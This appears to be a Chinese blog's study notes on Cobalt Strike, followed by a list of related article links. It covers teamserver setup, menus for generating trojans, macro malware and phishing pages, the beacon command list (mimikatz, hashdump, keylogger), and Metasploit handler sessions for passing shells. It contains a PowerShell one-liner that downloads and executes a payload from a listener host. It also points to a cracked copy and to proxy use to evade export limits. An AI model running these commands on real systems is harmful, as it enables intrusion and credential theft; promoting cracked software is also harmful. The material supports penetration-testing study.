Cobalt Strike 一款以metasploit为基础的GUI的框架式渗透测试工具,集成了端口转发、服务扫描,自动化溢出,多模式端口监听,win exe木马生成,win dll木马生成,java木马生成,office宏病毒生成,木马捆绑;钓鱼攻击包括:站点克隆,目标信息获取,java执行,浏览器自动攻击等等。Cobalt Strike主要用于团队作战,能让多个攻击者同时连接到团体服务器上,共享攻击资源与目标信息和sessions。
  Cobalt Strike,据说现在最新版为3.9,主要分为试用版和付费版,试用版为21天,付费版3500美元,据说网上也有一些破解教程cobaltstrik3.6破解版下载 密码: 51tg。因为Cobalt Strike是美国对外限制型出口软件,只在美国和加拿大允许发售,所以我们需要google搜索下usa的个人代理来绕开限制。

0x01 安装与运行

  Cobalt Strike需要JAVA环境,需要注意的是JAVA环境不要安装最新版,否则会出一些问题,Cobalt Strike分为客户端和服务端可分布式操作可以协同作战。但一定要架设在外网上,或者自己想要搭建的环境中,服务器端只能运行在Linux系统上。其中关键的文件是teamserver以及cobaltstrike.jar,将这两个文件放到服务器上同一个目录,然后运行:

1
./teamserver 192.168.3.32 test #自己的IP和密码


  说一下我安装运行时遇到的坑,首先:JAVA版本必须为8,否则就因版本问题无法编译运行;二:IP必须为真实IP,不能使用0.0.0.0或者127.0.0.1,这样也会报错的。
  服务器端运行之后,我们就可以运行客户端了,客户端可以在Windows或者Linux下都可以。输入我们刚才IP以及端口、密码,用户名可以任意设置。


  当攻击目标在控制台所操作的指令都会被记录到保留在Cobalt Strike目录logs下,对了,破解版是无法更新的。

0x02 参数详情

  • Cobalt Strike

    1
    2
    3
    4
    5
    6
    7
    New Connection #进行另外一个连接,支持连接多个服务器端
    Preferences #设置Cobal Strike界面、控制台、以及输出报告样式、TeamServer连接记录
    Visualization #主要展示输出结果的形式
    VPN Interfaces #设置VPN接口
    Listenrs #创建一个Listener
    Script Manager #
    Close #退出连接
  • View

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    Applications #显示受害者机器的应用信息
    Credentials #凭证当通过hashdump或者Mimikatz抓取过的密码都会储存在这里。
    Downloads #下载文件
    Event Log #主机上线记录以及团队协作聊天记录
    Keystrokes #键盘记录
    Proxy Pivots #代理模块
    Screenshots #进程截图
    Script Console #控制台,在这里可以加载[各种脚本](https://github.com/rsmudge/cortana-scripts)以增强功能
    Targets #显示目标
    Web Log #Web访问记录
  • Attacks

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    Packages #攻击包
    HTML Application 生成恶意的HTA木马文件
    MS Office Macro 生成office宏病毒文件
    Payload Generator 生成各种语言版本的payload
    USB/CD AutoPlay 生成利用自动播放运行的木马文件
    Windows Dropper 捆绑器,能够对文档类进行捆绑
    Windows Executable 生成可执行exe木马
    Windows Executable(S) 生成无状态的可执行exe木马
    Web Drive-by #钓鱼攻击
    Manage 对开启的web服务进行管理
    Clone Site 克隆网站,可以记录受害者提交的数据
    Host File 提供一个文件下载,可以修改Mime信息
    PowerShell Web Delivery 类似于msf 的web_delivery
    Signed Applet Attack 使用java自签名的程序进行钓鱼攻击
    Smart Applet Attack 自动检测java版本并进行攻击,针对Java 1.6.0_45以下以及Java 1.7.0_21以下版本
    System Profiler 用来获取一些系统信息,比如系统版本,Flash版本,浏览器版本等
    Spear Phish #用来邮件钓鱼的模块
  • Reporting

    1
    2
    3
    4
    5
    6
    activity report #活动报告生成
    Hosts report #主机报告
    Indicators opromisef com #目标报告
    Sessions report #会话报告
    Social engineering report #社会工程报告
    Export data #数据出口
  • help

    1
    2
    3
    4
    5
    Homepage #官方主页
    Support #技术支持
    Arsenal #开发者
    System information #版本信息
    About #关于

0x03 基本运行

  首先使用Cobalt Strike需要创建一个Listener,点击 Cobalt Strike->Listeners ,然后点击Add便可以创建自己想要的Listeners了,Cobalt Strike3.6包括

1
2
3
4
5
6
7
8
9
windows/beacon_dns/reverse_dns_txt
windows/beacon_dns/reverse_http
windows/beacon_http/reverse_http
windows/beacon_https/reverse_https
windows/beacon_smb/bind_pipe
windows/foreign/reverse_dns_txt
windows/foreign/reverse_http
windows/foreign/reverse_https
windows/foreign/reverse_tcp

  其中windows/beacon是Cobalt Strike自带的模块,包括dns,http,https,smb四种方式的监听器,windows/foreign为外部监听器,即msf或者Armitage的监听器。 选择监听器以后,host会自动填写我们开启服务时的ip,配置监听端口,然后保存,监听器就创建好了。

  在创建好监听器,接下来就需要配置我们的客户端了,Cobalt Strike提供了多种包括攻击方式,在这里我们使用Powershell进行攻击。

1
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.3.83:8888/a'))"

  当我们在目标靶机运行上面这条Powershell之后,我们的Cobalt Strike客户端就会监听到我们的反弹链接,我们就可以看到已经有目标机上线。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
大专栏  Cobalt Strike学习笔记line">31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
beacon> help
Beacon Commands
===============
Command Description
------- -----------
browserpivot Setup a browser pivot session
bypassuac Spawn a session in a high integrity process
cancel Cancel a download that's in-progress
cd Change directory
checkin Call home and post data
clear Clear beacon queue
covertvpn Deploy Covert VPN client
desktop View and interact with target's desktop
dllinject Inject a Reflective DLL into a process
download Download a file
downloads Lists file downloads in progress
drives List drives on target
elevate Try to elevate privileges
execute Execute a program on target
exit Terminate the beacon session
getsystem Attempt to get SYSTEM
getuid Get User ID
hashdump Dump password hashes
help Help menu
inject Spawn a session in a specific process
jobkill Kill a long-running post-exploitation task
jobs List long-running post-exploitation tasks
kerberos_ccache_use Apply kerberos ticket from cache to this session
kerberos_ticket_purge Purge kerberos tickets from this session
kerberos_ticket_use Apply kerberos ticket to this session
keylogger Inject a keystroke logger into a process
kill Kill a process
link Connect to a Beacon peer over SMB
logonpasswords Dump credentials and hashes with mimikatz
ls List files
make_token Create a token to pass credentials
mimikatz Runs a mimikatz command
mkdir Make a directory
mode dns Use DNS A as data channel (DNS beacon only)
mode dns-txt Use DNS TXT as data channel (DNS beacon only)
mode http Use HTTP as data channel
mode smb Use SMB peer-to-peer communication
net Network and host enumeration tool
note Assign a note to this Beacon
portscan Scan a network for open services
powershell Execute a command via powershell
powershell-import Import a powershell script
ps Show process list
psexec Use a service to spawn a session on a host
psexec_psh Use PowerShell to spawn a session on a host
pth Pass-the-hash using Mimikatz
pwd Print current directory
rev2self Revert to original token
rm Remove a file or folder
rportfwd Setup a reverse port forward
runas Execute a program as another user
screenshot Take a screenshot
shell Execute a command via cmd.exe
sleep Set beacon sleep time
socks Start SOCKS4a server to relay traffic
socks stop Stop SOCKS4a server
spawn Spawn a session
spawnas Spawn a session as another user
spawnto Set executable to spawn processes into
steal_token Steal access token from a process
timestomp Apply timestamps from one file to another
unlink Disconnect from parent Beacon
upload Upload a file
wdigest Dump plaintext credentials with mimikatz
winrm Use WinRM to spawn a session on a host
wmi Use WMI to spawn a session on a host

0x04 与msf进行联动

  • cs获得了一个上线机器,想把这个机器丢给msf中的meterpreter获得一个session进行控制
    这里我们已经获得了一个上线机器。
1
2
3
4
5
6
7
8
msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp ##不要用x64的payload
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 192.168.3.72
lhost => 192.168.3.72
msf exploit(handler) > set lport 5555
lport => 5555
msf exploit(handler) > exploit -j


之后使用Cobalt Strike创建一个windows/foreign/reverse_tcp Listener,其中ip为msf的ip地址,端口为msf所监听的端口,

然后选中计算机,右键->Spawn:选择刚刚创建的监听器:

这个时候我们可以看到,msf上的监听已经上线,我们可以进行我们想要的一些操作了。

  • msf获得了一个meterpreter的session,想把session传给cs
    这里我们已经获得了一个meterpreter的session

    在CS中创建一个监听者,和上一步类似,这里host需要修改为CS客户端IP,创建好之后我们便监听着6666端口,等待着被控机连接。

    此时切我们换到meterpreter中,
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    meterpreter > background # 切换到后台
    msf exploit(handler) > use exploit/windows/local/payload_inject # 这个exploit是注入一个新的payload 到当前的session里面
    msf exploit(payload_inject) > set payload windows/meterpreter/reverse_http # 不能使用x64的payload
    payload => windows/meterpreter/reverse_http
    msf exploit(payload_inject) > set DisablePayloadHandler true # 关闭msf payload的监听,可以不用设置,不影响效果
    msf exploit(payload_inject) > set lhost 192.168.3.103 # cs的服务端IP
    lhost => 192.168.3.103
    msf exploit(payload_inject) > set lport 6666 # 监听者的监听端口
    lport => 6666
    msf exploit(payload_inject) > set session 1 # 这里是之前meterpreter的session编号
    session => 1
    msf exploit(payload_inject) > exploit


此时机器便已成功从cs成功上线,可以进行各种姿势的操作。

  • cs获得了一个上线机器,想把这个机器丢给msf中继续进行渗透
    根据上线的肉鸡,可以使用SOCKS代理

    配置proxychains.conf,添加socks4 127.0.0.1 32557,然后就可以通过proxychains 使用各种工具做内网渗透了

Cobalt Strike学习笔记的更多相关文章

  1. Cobalt Strike 学习

    前言 本文以一个模拟的域环境为例对 Cobalt Strike 的使用实践一波. 环境拓扑图如下: 攻击者(kali) 位于 192.168.245.0/24 网段,域环境位于 192.168.31. ...

  2. cobalt strike使用笔记

    启动: ./teamserver 192.168.74.1 admin #启动cs服务器.admin为密码. 监听器: windows/beacon_dns/reverse_dns_txtwindow ...

  3. CUBRID学习笔记 41 sql语法之select

    cubrid的中sql查询语法 SELECT [ ] [{TO | INTO} ][FROM ] [WHERE ][GROUP BY {col_name | expr} [ASC | DESC], . ...

  4. <老友记>学习笔记

    这是六个人的故事,从不服输而又有强烈控制欲的monica,未经世事的千金大小姐rachel,正直又专情的ross,幽默风趣的chandle,古怪迷人的phoebe,花心天真的joey——六个好友之间的 ...

  5. MVC_学习笔记_2_Authorize

    MVC5_学习笔记_2_Authorize/* GitHub stylesheet for MarkdownPad (http://markdownpad.com) *//* Author: Nico ...

  6. 《零基础学JavaScript(全彩版)》学习笔记

    <零基础学JavaScript(全彩版)>学习笔记 二〇一九年二月九日星期六0时9分 前期: 刚刚学完<零基础学HTML5+CSS3(全彩版)>,准备开始学习JavaScrip ...

  7. 前端html与css学习笔记总结篇(超详细)

    第一部分 HTML 第一章 职业规划和前景 职业方向规划定位: web前端开发工程师 web网站架构师 自己创业 转岗管理或其他 web前端开发的前景展望: 未来IT行业企业需求最多的人才 结合最新的 ...

  8. Cobalt Strike系列教程第五章:截图与浏览器代理

    Cobalt Strike系列教程分享如约而至,新关注的小伙伴可以先回顾一下前面的内容: Cobalt Strike系列教程第一章:简介与安装 Cobalt Strike系列教程第二章:Beacon详 ...

  9. Cobalt Strike系列教程第四章:文件/进程管理与键盘记录

    Cobalt Strike系列教程分享如约而至,新关注的小伙伴可以先回顾一下前面的内容: Cobalt Strike系列教程第一章:简介与安装 Cobalt Strike系列教程第二章:Beacon详 ...

随机推荐

  1. JVM学习思维导图

  2. Eova 怎么放在 Docker中,使用阿里云流水线构建Eova!!

    Eova 快速开发框架不做过多解释,使用起来超级爽提高了我们的开发效率. 有要了解的可以去官网看下http://www.eova.cn/ 最近我们想在docker中运行并且使用阿里云的云效工具去构建部 ...

  3. 新年在家学java之基础篇-参数&修饰符&构造器

    可变参数 不知道可能给方法传递多少个参数时使用这个方法 public void printInfo (String[] args) --可以定义一个数组,在调用这个方法适合赋值给一个数组 public ...

  4. 2. Unconstrained Optimization(2th)

    2.1 Basic Results on the Existence of Optimizers 2.1. DefinitionLet $f:U->\mathbb{R}$ be a functi ...

  5. python之处理json字符串

    一.如何从文件中读取json字符串 通过json模块可以处理json数据. 1.loads()方法 loads(json_object)将json字符串转换成dict类型. import json # ...

  6. Java源码之ArrayList

    本文源码均来自Java 8 总体介绍 Collection接口是集合类的根接口,Java中没有提供这个接口的直接的实现类.Set和List两个类继承于它.Set中不能包含重复的元素,也没有顺序来存放. ...

  7. Xen入门系列四【Xen 管理实操】

    1. 克隆一台虚拟机 # virt-clone -o base -n vm-clone -f /vm/vm-clone.img 参数说明: -o 原虚拟机的名称:必须为关闭或者暂停状态. -n 新虚拟 ...

  8. HTTP请求方法及常见状态码

    GET: 请求指定的页面信息,并返回实体主体. HEAD: 只请求页面的首部. POST: 请求服务器接受所指定的文档作为对所标识的URI的新的从属实体. PUT: 从客户端向服务器传送的数据取代指定 ...

  9. Java 线程总结(十四)

    1.在异步任务进程中,一种常见的场景是,主线程提交多个异步任务,然后希望有任务完成就处理结果,并且按任务完成顺序逐个处理,对于这种场景,Java 并发包提供了一个方便的方法,使用 Completion ...

  10. Python类变量与实例变量及成员函数修饰方式说明(与Java定义方式进行类比)

    Python类中的变量有类变量和实例变量之分. 类变量:变量绑定在类上,同一个类之间的共享变量,类比于Java中的静态变量static 公有变量定义 Java 的定义方式 class Test{ pu ...